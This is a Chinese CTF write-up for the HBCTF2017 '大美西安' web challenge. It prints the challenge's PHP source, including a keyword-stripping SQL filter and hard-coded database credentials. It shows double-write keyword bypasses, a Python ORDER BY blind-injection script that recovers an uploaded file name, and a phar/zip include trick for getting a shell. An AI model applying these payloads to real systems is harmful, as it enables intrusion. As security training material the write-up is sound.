CTF Web安全

[HBCTF2017]大美西安(sql注入)

Posted on 2020-03-24,7 min read

首先就一个登陆和注册。貌似没注入。
进去以后URL如下http://00f9d39c-5972-4a18-9744-2d59c6264341.node3.buuoj.cn/index.php?file=download

尝试用伪协议读取源码。无果
接着看功能发现有上传。只能上传jpg图片。
下载。有查看和收藏功能。查看就返回图片。收藏就下载
看看这个下载点能不能任意文件下载

这里是用id来下载。猜测数据库中插入了id/图片路径
后台sql语句应该类似于select path from image where id=1
那么我们尝试union select去修改结果
返回picture can't be find!。。语句是肯定对的。估计是被过滤了。
尝试双写绕过。成功。把源码都脱下来

index.php

<?php 
#define("DIR_PERMITION",time());
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);

$file  = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
	   echo "<div class=\"msg error\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
		die();
}

$filename = $file.".php";

if(!include($filename)){
    
	if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
	  header("Location: index.php?file=login");
	  die();
    }
?>

</body>
</html>

index.php中有一行$filename = $file.".php";可以包含用伪协议getshell。
比如phar:// zip://
恰好这题有个文件上传功能。改后缀名就可以了。然后配合getshell
接着着重看upload.php

<?php 

#defined("DIR_PERMITION") or die("Access denied!");

if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
	  header("Location: index.php?file=login");
	  die();
 }

if (isset($_FILES['file'])) {
    
    $seed = rand(0,getrandmax());
    mt_srand($seed);
    if ($_FILES["file"]["error"] > 0) {
        echo "<div class=\"msg error\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\">uplpad file error!:".$_FILES["file"]["error"]."</i></div>";
		die();
    }
    $fileTypeCheck = ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800));
    $reg='/^gif|jpg|jpeg|png$/';
    $fileExtensionCheck=!preg_match($reg,pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
    
    if($fileExtensionCheck){
        die("Only upload image file!");
    }
    if($fileTypeCheck){
        
        $fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
        $fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
        $userid = $_SESSION['userid'];
        $sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
        $res = $conn ->query($sql);
        if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
         echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";

        }else{
             echo "<script>alert('file upload error')</script>";
        }

    }else{

        echo "<script>alert('file  type error');</script>";
    }

}

?>

upload.php。首先检查文件类型和后缀名。
然后文件重命名为/Up10aDS/random_str().jpg
插入数据库。数据库结构为uid,image_name,location
那么我们得得到这个文件名。之前通过注入得到了源码。肯定也可以得到文件名
再回过头去看看过滤方法

<?php 

error_reporting(0);
session_start();

$dbhost = "127.0.0.1";
$dbuser = "admin";
$dbpass = "password987~!@";
$dbname = "dsqli";

$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
$conn ->query("set names utf8"); 

function d_addslashes($array){

    foreach($array as $key=>$value){
        if(!is_array($value)){
              !get_magic_quotes_gpc()&&$value=addslashes($value);
              $array[$key]=$value;
        }else{
          $array[$key] = d_addslashes($array[$key]);
        }
    }
    return $array;
}


function filter($id){
    $id = strtolower($id);
    
	$id = str_replace('select', '', $id);
	$id = str_replace('update', '', $id);
	$id = str_replace('insert', '', $id);
	$id = str_replace('delete', '', $id);
	$id = str_replace('and', '', $id);
	$id = str_replace('or', '', $id);
	$id = str_replace('where', '', $id);
	$id = str_replace('union', '', $id);
    $id = str_replace('like', '', $id);
    $id = str_replace('regexp', '', $id);
    $id = str_replace('is', '', $id);
	$id = str_replace('=', '', $id);
	$id = str_replace(',', '', $id);
	$id = str_replace('|', '', $id);
	$id = str_replace('&', '', $id);
	$id = str_replace('!', '', $id);
    $id = str_replace('%', '', $id);
	$id = str_replace('^', '', $id);
	$id = str_replace('<', '', $id);
	$id = str_replace('>', '', $id);
	$id = str_replace('*', '', $id);
	$id = str_replace('(', '', $id);
	$id = str_replace(')', '', $id);
    return $id ;
}

function random_str($length = "32")
{
    $set = array("a", "b", "c",  "d", "e", "f", 
        "g", "h", "i", "j", "k", "l",
        "m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
        "y","z","1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';
    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }
    return $str;
}

都是替换为空。但是这里符号都被过滤了。

试了几个payload
substr(location,1,1)=0x61
#括号被过滤
strcmp(substr(location,1,1),0x61)
#括号被过滤
location regexp '^[a-z]'
#^被过滤

https://xz.aliyun.com/t/7169#toc-50
这篇文章真的棒。找到order by注入
我们可以构造select location from image where id=1 and union select 0x41 order by 1
当正确的值大于我们输入的值。那么就可以正常回显。
以下是脚本

import requests
url='http://00f9d39c-5972-4a18-9744-2d59c6264341.node3.buuoj.cn/downfile.php'
cookie={"Cookie":"PHPSESSID=vpn0ktp56hbod80nnm6869ro52"}
name='0x2e2f557031306144732f'
#已知的./Up10aDs/
r=requests.session()
for a in range(200):
    for i in range(30,130):
        data={"image":"4 ununionion selselectect "+name+hex(i)[2:]+" oorrder by 1",
              "image_download":"%E6%94%B6%E8%97%8F"}
        result=r.post(url=url,data=data,headers=cookie).text
        #print (result)
        if 'eval' in result:
            name+=hex(i-1)[2:]
            print(chr(i-1))
            break

得到文件名。这里试了下system啥的都没用???也没禁用函数。我人傻了

解释下这个文件怎么生成的:
1.php压缩后得到1.zip
1.zip改名为1.jpg上传
由于包含时会自动加上.php后缀。最终包含的是phar://1.jpg/1.php
等同于1.zip/1.php

下一篇: BUUCTF kzone(sql注入)→